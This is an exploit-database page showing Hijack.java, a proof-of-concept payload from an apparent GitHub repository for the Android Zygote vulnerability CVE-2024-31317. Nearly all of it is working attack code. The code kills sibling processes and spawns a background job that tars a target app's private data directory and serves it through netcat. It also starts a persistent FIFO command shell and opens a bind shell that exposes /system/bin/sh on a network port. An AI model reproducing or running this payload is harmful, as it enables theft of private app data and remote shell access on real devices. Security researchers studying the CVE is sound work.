Exploit database

GH-dd7ee22547ee60a07e157bf417384242

vnescape/zygote-cve-2024-31317

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-31317

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
vnescape/zygote-cve-2024-31317Revision 3b6ee10d0967

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Hijack.java

Java · 7,824 bytes
package com.example;

import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;

public class Hijack {
    private static final String TAG = "ZNJECT";

    private static void killDanglingPID(int myPid, int myUid) {
        try {
            File proc = new File("/proc");
            File[] dirs = proc.listFiles();
            if (dirs == null) return;
            for (File f : dirs) {
                if (!f.isDirectory()) continue;
                String name = f.getName();
                if (!name.matches("\\d+")) continue;
                int pid = Integer.parseInt(name);
                if (pid == myPid) continue;
                try {
                    BufferedReader r = new BufferedReader(new FileReader(new File(f, "status")));
                    String line;
                    while ((line = r.readLine()) != null) {
                        if (line.startsWith("Uid:")) {
                            String[] parts = line.trim().split("\\s+");
                            int uid = Integer.parseInt(parts[1]);
                            if (uid == myUid) {
                                Runtime.getRuntime().exec(new String[]{"kill", "-9", String.valueOf(pid)});
                            }
                            break;
                        }
                    }
                    r.close();
                } catch (Exception ignored) {}
            }
        } catch (Exception e) {
            android.util.Log.e(TAG, "Kill PID pass failed: " + e.getMessage());
        }
    }

    public static void main(String[] args) {
        String targetPackage = args[0];
        int port = 8888;
        if (args.length > 1) {
            try { port = Integer.parseInt(args[1]); } catch (Exception e) {}
        }

        String hostIp = "127.0.0.1";
        int extractPort = 0;
        int persistPort = 0;
        if (args.length > 2) {
            hostIp = args[2];
        }
        if (args.length > 3) {
            try { extractPort = Integer.parseInt(args[3]); } catch (Exception e) {}
        }
        if (args.length > 4) {
            try { persistPort = Integer.parseInt(args[4]); } catch (Exception e) {}
        }

        android.util.Log.e(TAG, "!!! BIND SHELL HIJACK SUCCESS !!!");
        android.util.Log.e(TAG, "Package: " + targetPackage + " Port: " + port);
        android.util.Log.e(TAG, "ARGS: count=" + args.length + " args[0]=" + args[0]
            + " args[1]=" + (args.length > 1 ? args[1] : "?")
            + " args[2]=" + (args.length > 2 ? args[2] : "?")
            + " args[3]=" + (args.length > 3 ? args[3] : "?")
            + " args[4]=" + (args.length > 4 ? args[4] : "?")
            + " hostIp=" + hostIp + " extractPort=" + extractPort + " persistPort=" + persistPort);

        // ── Kill dangling PIDs from previous runs ──
        // Walk /proc directly (ps -A from untrusted_app returns empty for other UIDs
        // due to SELinux restrictions). Kill in two passes with a gap to catch
        // grandchildren that spawned during the first pass (TOCTOU race).
        int myPid = android.os.Process.myPid();
        int myUid = android.os.Process.myUid();
        android.util.Log.e(TAG, "Kill dangling process: myPid=" + myPid + " myUid=" + myUid);
        killDanglingPID(myPid, myUid);
        try { Thread.sleep(800); } catch (Exception e) {}
        killDanglingPID(myPid, myUid);
        try { Thread.sleep(1200); } catch (Exception e) {}
        android.util.Log.e(TAG, "Kill dangling process done");

        // ── Grandchild 1: data extraction ──
        // Pipes tar to nc -l. Survives as orphan to init.
        if (extractPort > 0) {
            String cmd = String.format(
                "nohup sh -c '"
                + "D=/data/user/0/%s; "
                + "if [ -d \"$D\" ]; then "
                + "  tar cf - \"$D\" 2>/dev/null"
                + "  | timeout 90 nc -l -p %d 2>/dev/null; "
                + "fi"
                + "' >/dev/null 2>&1 &",
                targetPackage, extractPort
            );
            try {
                Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", cmd});
                android.util.Log.e(TAG, "Grandchild extraction spawned: " + targetPackage + " port " + extractPort);
            } catch (Exception e) {
                android.util.Log.e(TAG, "Extraction spawn failed: " + e.getMessage());
            }
        }

        // ── Grandchild 2: persistent command server (FIFO single-port) ──
        // Single-connection protocol: connect to PORT, send command,
        // read output from the same connection, then disconnect.
        if (persistPort > 0) {
            String cmd = String.format(
                "nohup sh -c 'D=/data/user/0/%s; F=$D/.zs_%d; "
                + "rm -f $F; mkfifo $F 2>/dev/null; "
                + "while true; do "
                + "  cat $F | /system/bin/sh 2>&1 | timeout 30 nc -l -p %d > $F 2>/dev/null; "
                + "  sleep 1; "
                + "done' >/dev/null 2>&1 &",
                targetPackage, persistPort, persistPort
            );
            try {
                Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", cmd});
                android.util.Log.e(TAG, "Persistent grandchild shell on port " + persistPort);
            } catch (Exception e) {
                android.util.Log.e(TAG, "Persistent shell spawn failed: " + e.getMessage());
            }
        }

        // ── Primary bind shell ──
        try {
            ServerSocket server = new ServerSocket(port, 1);
            server.setSoTimeout(60000);
            android.util.Log.e(TAG, "Listening on 0.0.0.0:" + port);

            Socket client = server.accept();
            android.util.Log.e(TAG, "Connection from " + client.getInetAddress());

            Process sh = Runtime.getRuntime().exec("/system/bin/sh");
            InputStream shIn = sh.getInputStream();
            InputStream shErr = sh.getErrorStream();
            OutputStream shOut = sh.getOutputStream();
            InputStream sockIn = client.getInputStream();
            OutputStream sockOut = client.getOutputStream();

            Thread t1 = new Thread(() -> {
                byte[] buf = new byte[4096];
                try {
                    int n;
                    while ((n = shIn.read(buf)) != -1) {
                        sockOut.write(buf, 0, n);
                        sockOut.flush();
                    }
                } catch (IOException e) {}
            });

            Thread t2 = new Thread(() -> {
                byte[] buf = new byte[4096];
                try {
                    int n;
                    while ((n = shErr.read(buf)) != -1) {
                        sockOut.write(buf, 0, n);
                        sockOut.flush();
                    }
                } catch (IOException e) {}
            });

            Thread t3 = new Thread(() -> {
                byte[] buf = new byte[4096];
                try {
                    int n;
                    while ((n = sockIn.read(buf)) != -1) {
                        shOut.write(buf, 0, n);
                        shOut.flush();
                    }
                } catch (IOException e) {}
            });

            t1.start();
            t2.start();
            t3.start();

            if (!sh.waitFor(30, java.util.concurrent.TimeUnit.SECONDS)) {
                android.util.Log.e(TAG, "Shell timed out — destroying");
                sh.destroyForcibly();
            }
            android.util.Log.e(TAG, "Shell exited");

            client.close();
            server.close();
        } catch (Exception e) {
            android.util.Log.e(TAG, "Error: " + e.getMessage());
        }

        android.util.Log.e(TAG, "Hijack exiting");
    }
}